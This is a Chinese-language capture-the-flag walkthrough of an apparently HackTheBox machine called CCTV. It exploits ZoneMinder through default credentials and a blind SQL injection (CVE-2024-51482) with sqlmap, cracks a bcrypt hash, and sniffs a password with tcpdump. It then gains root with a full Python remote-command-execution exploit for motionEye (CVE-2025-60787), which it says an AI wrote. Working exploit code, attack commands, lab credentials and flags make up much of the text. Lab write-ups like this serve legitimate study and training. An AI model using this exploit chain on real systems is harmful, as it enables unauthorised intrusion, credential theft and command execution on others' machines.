CCTV

USER FLAG

nmap 扫一下靶机的端口服务

nmap -A 10.129.20.186

22 的 SSH，还有 80 的 Web，并且不能重定向到http://cctv.htb/

先看 80 的 Web，配置一下/etc/hosts

10.129.20.186 cctv.htb

浏览器访问，成功重定向

页面右上角有个登录按钮，点击来到登录界面，可以看出是 ZoneMinder 系统

去找一下历史漏洞和POC，不过测试时候都是显示401状态码，那就要先登录，尝试弱口令 admin/admin 成功登录

然后测试发现存在CVE：CVE-2024-51482

POC：https://github.com/BridgerAlderson/CVE-2024-51482

python CVE-2024-51482.py -i cctv.htb -u admin -p admin --test

直接用下面这俩示例，导出用户凭证

python CVE-2024-51482.py -i cctv.htb -u admin -p admin --users

因为是利用的时间盲注，所以需要等很长一段时间，非常慢，这里爆的 Users 表中的列，可以看到有 Name 和 Password 这俩列，其他的没什么用

然后提取这俩列的数据

python CVE-2024-51482.py -i cctv.htb -u admin -p admin --dump zm Users "Name,Password"

或者也可以利用 sqlmap 跑，感觉 sqlmap 跑的快一些，要带着登录后的 Cookie 跑

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" --cookie="ZMSESSID=rp2f9t1vjfok1ubcf66esf95h9" -p tid -D "zm" -T "Users" -C "Name,Password" --dump --batch

Database: zm
Table: Users
[3 entries]
+---------+--------------------------------------------------------------+
| Name    | Password                                                     |
+---------+--------------------------------------------------------------+
| <blank> | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| admin   | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
| mark    | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
+---------+--------------------------------------------------------------+

对 mark 的哈希密码进行爆破，$2y$10$表示这是 bcrypt 哈希

hashcat -m 3200 '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' /usr/share/wordlists/rockyou.txt

可以爆破出密码是：opensesame

尝试 SSH 连接 22 端口 登录 mark 用户（这里因为上面SQL注入耗时太久，到第二天原来的靶机没了，又重新开的一个，新靶机IP：10.129.20.216）

ssh mark@10.129.20.216

成功登录 mark 用户

找一圈没找到user.txt，用 find 命令找，发现还有一个用户，flag 可能在那个用户目录下

find / -name user.txt

需要切换为 sa_mark 这个用户，查找有关这个用户的文件，在查找带有这个用户名的文件内容时可以发现定时任务

grep -r "sa_mark" / 2>/dev/null

一直在进行 sa_mark 用户认证，既然是认证，就肯定是需要密码的

上传linpeas.sh到靶机的/tmp，用于扫描可能存在的提取方法，在kali起一个服务

php -S 0:80

靶机用wget下载

cd /tmp
wget http://10.10.16.44/linpeas.sh

加权限并执行脚本

chmod +x linpeas.sh
./linpeas.sh

这里扫出三个

可以利用其中的/usr/bin/tcpdump命令来进行抓包，认证时使用的密码就可能在流量包中，可以利用grep命令来筛选一下

/usr/bin/tcpdump -i any -A | grep -i "sa_mark"

成功捕获到密码：X1l9fx1ZjS7RZb，然后就可以登录 sa_mark 用户了（又新开了靶机，新IP是10.129.21.86）

ssh sa_mark@10.129.21.86

成功登录

生成交互式shell

/usr/bin/script -qc /bin/bash /dev/null

可以读到 user flag 了

1017ea5172f123c7d7ca6afe9941f755

ROOT FLAG

sa_mark 用户目录下可有一个pdf文件，下载到本地看看，先在靶机起一个HTTP服务

php -S 0:7777

然后kali利用wget命令下载文件

wget http://10.129.21.86:7777/SecureVision%20Staff%20Announcement.pdf

不过查看内容也没什么用

检查当前所有网络连接

netstat -anpt

借助 AI 分析一下

去查看8765这个端口的流量，利用 SSH 隧道进行端口转发

ssh -L 8765:127.0.0.1:8765 mark@10.129.20.216

这个命令就是通过 SSH 隧道将本地kali的 8765 端口的流量映射到远程服务器的 8765 端口，这样在本地kali中访问http://127.0.0.1:8765，就相当于访问靶机上的8765端口了

还有7999端口也转发

ssh -L 7999:127.0.0.1:7999 mark@10.129.20.216

然后就可以本地访问浏览器到

http://127.0.0.1:8765

可以看到是 motionEye

并且源代码中可以查看到版本号是 0.43.1b4

可以查看一下配置文件，能获取到密码：989c5a8ee87a0e9521ec81a79187d162109282f0

cat /etc/motioneye/motion.conf

去找一下历史漏洞和POC

找到一个可以RCE的CVE：CVE-2025-60787

AI 自己写个脚本：

#!/usr/bin/env python3
"""
CTF/lab validation helper for CVE-2025-60787 affecting motionEye <= 0.43.1b4.

This script follows motionEye's real signed-API flow instead of the misleading
POST /login pattern used in many broken PoCs:
1. probe the target
2. authenticate with _username/_signature
3. enumerate cameras
4. fetch a full camera UI config
5. replace image_file_name with a payload
6. save the full JSON config back
7. trigger a manual snapshot to drive picture_save handling

Use only against systems you own or are explicitly authorized to test.
"""

from __future__ import annotations

import argparse
import copy
import hashlib
import json
import re
import sys
import time
from dataclasses import dataclass
from typing import Any
from urllib.parse import parse_qsl, quote, urlencode, urlsplit, urlunsplit

import requests


SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')


def sha1_hex(data: str) -> str:
    return hashlib.sha1(data.encode("utf-8")).hexdigest().lower()


def normalize_base_url(target: str, port: int, scheme: str) -> str:
    target = target.strip()
    if "://" in target:
        parsed = urlsplit(target)
        base_path = parsed.path.rstrip("/")
        return urlunsplit((parsed.scheme, parsed.netloc, base_path, "", "")).rstrip("/")

    host = target.rstrip("/")
    return f"{scheme}://{host}:{port}".rstrip("/")


@dataclass
class CameraSelection:
    camera_id: int
    config: dict[str, Any]


class MotionEyeRCE:
    def __init__(
        self,
        base_url: str,
        username: str,
        password: str,
        password_hash: str | None,
        command: str,
        timeout: int = 10,
        verify_tls: bool = True,
        use_basic_auth: bool = False,
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.password_hash = (
            password_hash.lower() if password_hash else sha1_hex(password)
        )
        self.command = command
        self.timeout = timeout
        self.verify_tls = verify_tls
        self.session = requests.Session()
        self.session.headers.update(
            {
                "User-Agent": "Mozilla/5.0 (CTF Lab Validator)",
                "Accept": "application/json, text/html;q=0.9, */*;q=0.8",
            }
        )
        if use_basic_auth and password:
            self.session.auth = (username, password)

        if not verify_tls:
            requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]

    def print_banner(self) -> None:
        print("-" * 72)
        print("CVE-2025-60787 | motionEye <= 0.43.1b4 | lab/CTF validation helper")
        print("Mode: signed API config replay + snapshot trigger")
        print("-" * 72)

    def _build_url(self, path: str) -> str:
        if not path.startswith("/"):
            path = "/" + path
        return f"{self.base_url}{path}"

    def _encode_query(self, items: list[tuple[str, str]]) -> str:
        return urlencode(items, doseq=True)

    def _compute_signature(self, method: str, url: str, body: bytes) -> str:
        parts = list(urlsplit(url))
        query = [
            pair
            for pair in parse_qsl(parts[3], keep_blank_values=True)
            if pair[0] != "_signature"
        ]
        query.sort(key=lambda pair: pair[0])
        query = [(name, quote(value, safe="!'()*~")) for name, value in query]

        parts[0] = ""
        parts[1] = ""
        parts[3] = "&".join(f"{name}={value}" for name, value in query)
        canonical_path = urlunsplit(parts)
        canonical_path = SIGNATURE_REGEX.sub("-", canonical_path)

        body_text = None
        if body:
            try:
                body_text = body.decode("utf-8")
            except UnicodeDecodeError:
                body_text = None

        if body_text and body_text.startswith("---"):
            body_text = None

        if body_text:
            body_text = SIGNATURE_REGEX.sub("-", body_text)

        material = (
            f"{method.upper()}:{canonical_path}:{body_text or ''}:{self.password_hash}"
        )
        return hashlib.sha1(material.encode("utf-8")).hexdigest().lower()

    def _request(
        self,
        method: str,
        path: str,
        *,
        params: list[tuple[str, str]] | None = None,
        json_body: Any | None = None,
        signed: bool = True,
        headers: dict[str, str] | None = None,
    ) -> requests.Response:
        if params is None:
            params = []

        body = b""
        req_headers = dict(headers or {})
        if json_body is not None:
            body = json.dumps(
                json_body, separators=(",", ":"), sort_keys=True
            ).encode("utf-8")
            req_headers["Content-Type"] = "application/json"

        if signed:
            params = list(params) + [("_username", self.username)]

        url = self._build_url(path)
        if params:
            parts = list(urlsplit(url))
            existing = parse_qsl(parts[3], keep_blank_values=True)
            existing.extend(params)
            parts[3] = self._encode_query(existing)
            url = urlunsplit(parts)

        if signed:
            signature = self._compute_signature(method, url, body)
            parts = list(urlsplit(url))
            existing = parse_qsl(parts[3], keep_blank_values=True)
            existing.append(("_signature", signature))
            parts[3] = self._encode_query(existing)
            url = urlunsplit(parts)

        return self.session.request(
            method=method.upper(),
            url=url,
            data=body or None,
            headers=req_headers,
            timeout=self.timeout,
            verify=self.verify_tls,
            allow_redirects=True,
        )

    def _json(self, response: requests.Response) -> Any:
        try:
            return response.json()
        except ValueError:
            preview = response.text[:200].strip().replace("\n", "\\n")
            raise RuntimeError(
                f"Expected JSON from {response.url}, got {response.status_code}: {preview}"
            )

    def validate_target(self) -> bool:
        print(f"[*] Probing {self.base_url} ...")
        try:
            response = self._request("GET", "/", signed=False)
        except requests.RequestException as exc:
            print(f"[-] Probe failed: {exc}")
            return False

        body = response.text.lower()
        server_header = response.headers.get("Server", "")
        if response.status_code != 200:
            print(f"[-] Unexpected status code from /: {response.status_code}")
            return False

        if "motioneye" in body or "motionEye" in server_header:
            print("[+] Target looks like motionEye.")
            return True

        print("[-] Target did not look like motionEye.")
        return False

    def authenticate(self) -> bool:
        print("[*] Verifying signed admin API access ...")
        try:
            response = self._request("GET", "/config/main/get/")
        except requests.RequestException as exc:
            print(f"[-] Auth probe failed: {exc}")
            return False

        data = self._json(response)
        if response.status_code == 200 and isinstance(data, dict) and "admin_username" in data:
            print("[+] Signed API authentication succeeded.")
            return True

        print(f"[-] Authentication failed: {json.dumps(data, ensure_ascii=False)}")
        return False

    def list_cameras(self) -> list[dict[str, Any]]:
        print("[*] Enumerating cameras ...")
        response = self._request("GET", "/config/list/")
        data = self._json(response)

        cameras = data.get("cameras")
        if response.status_code != 200 or not isinstance(cameras, list):
            raise RuntimeError(f"Failed to list cameras: {data}")

        print(f"[+] Found {len(cameras)} camera(s).")
        return cameras

    def get_camera_config(self, camera_id: int) -> dict[str, Any]:
        response = self._request("GET", f"/config/{camera_id}/get/")
        data = self._json(response)
        if response.status_code != 200 or not isinstance(data, dict) or data.get("error"):
            raise RuntimeError(f"Failed to fetch config for camera {camera_id}: {data}")
        return data

    def is_locally_managed_motion_camera(self, config: dict[str, Any]) -> bool:
        required_keys = {
            "enabled",
            "still_images",
            "capture_mode",
            "image_file_name",
            "movies",
            "manual_snapshots",
        }
        return required_keys.issubset(config.keys())

    def select_camera(self, preferred_camera_id: int | None) -> CameraSelection:
        cameras = self.list_cameras()
        candidate_ids = []

        if preferred_camera_id is not None:
            candidate_ids = [preferred_camera_id]
        else:
            for camera in cameras:
                if "id" in camera:
                    try:
                        candidate_ids.append(int(camera["id"]))
                    except (TypeError, ValueError):
                        continue

        if not candidate_ids:
            raise RuntimeError("No cameras were available for testing.")

        for camera_id in candidate_ids:
            cfg = self.get_camera_config(camera_id)
            if self.is_locally_managed_motion_camera(cfg):
                print(f"[+] Selected local motion-managed camera {camera_id}.")
                return CameraSelection(camera_id=camera_id, config=cfg)
            print(f"[-] Camera {camera_id} is not a local motion-managed camera, skipping.")

        raise RuntimeError("No exploitable local motion-managed cameras were found.")

    def build_payload(self) -> str:
        return f"$({self.command})%Y-%m-%d/%H-%M-%S"

    def craft_config(self, original: dict[str, Any]) -> dict[str, Any]:
        payload = self.build_payload()
        crafted = copy.deepcopy(original)

        # Force a snapshot-capable still-image workflow so we can trigger it on demand.
        crafted["still_images"] = True
        crafted["manual_snapshots"] = True
        crafted["capture_mode"] = "manual"
        crafted["image_file_name"] = payload

        return crafted

    def set_camera_config(self, camera_id: int, ui_config: dict[str, Any]) -> dict[str, Any]:
        response = self._request("POST", f"/config/{camera_id}/set/", json_body=ui_config)
        data = self._json(response)

        if response.status_code != 200:
            raise RuntimeError(f"Config update failed with HTTP {response.status_code}: {data}")
        if isinstance(data, dict) and data.get("error"):
            raise RuntimeError(f"Config update returned an error: {data}")

        return data

    def trigger_snapshot(self, camera_id: int) -> dict[str, Any]:
        response = self._request("POST", f"/action/{camera_id}/snapshot/")
        if not response.text.strip():
            return {}
        return self._json(response)

    def picture_count(self, camera_id: int) -> int | None:
        try:
            response = self._request("GET", f"/picture/{camera_id}/list/")
            data = self._json(response)
        except Exception:
            return None

        media_list = data.get("mediaList")
        if media_list is None:
            return None

        def walk(node: Any) -> int:
            if isinstance(node, list):
                return sum(walk(item) for item in node)
            if isinstance(node, dict):
                if "filename" in node:
                    return 1
                return sum(walk(value) for value in node.values())
            return 0

        return walk(media_list)


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="motionEye CVE-2025-60787 lab/CTF validation helper"
    )
    parser.add_argument("--target", required=True, help="Target host or full base URL")
    parser.add_argument(
        "--port", type=int, default=8765, help="Target port when --target is not a full URL"
    )
    parser.add_argument(
        "--scheme",
        choices=["http", "https"],
        default="http",
        help="Scheme when --target is not a full URL",
    )
    parser.add_argument("--user", default="admin", help="motionEye admin username")
    parser.add_argument("--pwd", default="", help="motionEye admin password")
    parser.add_argument(
        "--pwd-hash",
        default=None,
        help="Precomputed SHA1 admin password hash used by motionEye's signed API",
    )
    parser.add_argument(
        "--cmd",
        default="touch /tmp/rce_success",
        help="Command to wrap inside the filename payload",
    )
    parser.add_argument(
        "--camera",
        type=int,
        default=None,
        help="Specific camera id to target; defaults to the first compatible local camera",
    )
    parser.add_argument(
        "--wait",
        type=float,
        default=3.0,
        help="Seconds to wait after triggering a snapshot",
    )
    parser.add_argument(
        "--timeout",
        type=int,
        default=10,
        help="HTTP timeout in seconds",
    )
    parser.add_argument(
        "--restore",
        action="store_true",
        help="Restore the original camera config after the trigger attempt",
    )
    parser.add_argument(
        "--basic",
        action="store_true",
        help="Also send HTTP Basic credentials on each request",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="Disable TLS certificate verification for HTTPS targets",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    base_url = normalize_base_url(args.target, args.port, args.scheme)

    exploit = MotionEyeRCE(
        base_url=base_url,
        username=args.user,
        password=args.pwd,
        password_hash=args.pwd_hash,
        command=args.cmd,
        timeout=args.timeout,
        verify_tls=not args.insecure,
        use_basic_auth=args.basic,
    )

    exploit.print_banner()

    if not exploit.validate_target():
        return 1

    if not exploit.authenticate():
        return 1

    try:
        selection = exploit.select_camera(args.camera)
        original_config = selection.config
        malicious_config = exploit.craft_config(original_config)

        print(f"[*] Payload: {malicious_config['image_file_name']}")

        before_count = exploit.picture_count(selection.camera_id)
        if before_count is not None:
            print(f"[*] Pictures before trigger: {before_count}")

        print(f"[*] Updating camera {selection.camera_id} configuration ...")
        result = exploit.set_camera_config(selection.camera_id, malicious_config)
        print(f"[+] Config update accepted: {json.dumps(result, ensure_ascii=False)}")

        persisted = exploit.get_camera_config(selection.camera_id)
        if persisted.get("image_file_name") == malicious_config["image_file_name"]:
            print("[+] Malicious image_file_name persisted successfully.")
        else:
            print("[-] image_file_name was not persisted as expected.")

        print(f"[*] Triggering snapshot on camera {selection.camera_id} ...")
        snapshot_result = exploit.trigger_snapshot(selection.camera_id)
        print(f"[+] Snapshot request returned: {json.dumps(snapshot_result, ensure_ascii=False)}")

        if args.wait > 0:
            time.sleep(args.wait)

        after_count = exploit.picture_count(selection.camera_id)
        if after_count is not None:
            print(f"[*] Pictures after trigger: {after_count}")
            if before_count is not None and after_count > before_count:
                print("[+] Picture count increased after the trigger.")
            elif before_count is not None:
                print("[-] Picture count did not increase; the trigger may still be blind.")

        print("[*] Exploit path executed. Use a side-effect command or callback to verify RCE.")

        if args.restore:
            print("[*] Restoring original camera config ...")
            restore_result = exploit.set_camera_config(selection.camera_id, original_config)
            print(f"[+] Restore completed: {json.dumps(restore_result, ensure_ascii=False)}")

        return 0

    except requests.RequestException as exc:
        print(f"[-] Request failed: {exc}")
        return 1
    except RuntimeError as exc:
        print(f"[-] {exc}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

读 root flag

python CVE-2025-60787.py --target 127.0.0.1 --port 8765 --user admin --pwd-hash 989c5a8ee87a0e9521ec81a79187d162109282f0 --cmd "cat /root/root.txt > /tmp/root_flag"

f5daeeea949a6697802b34de46797870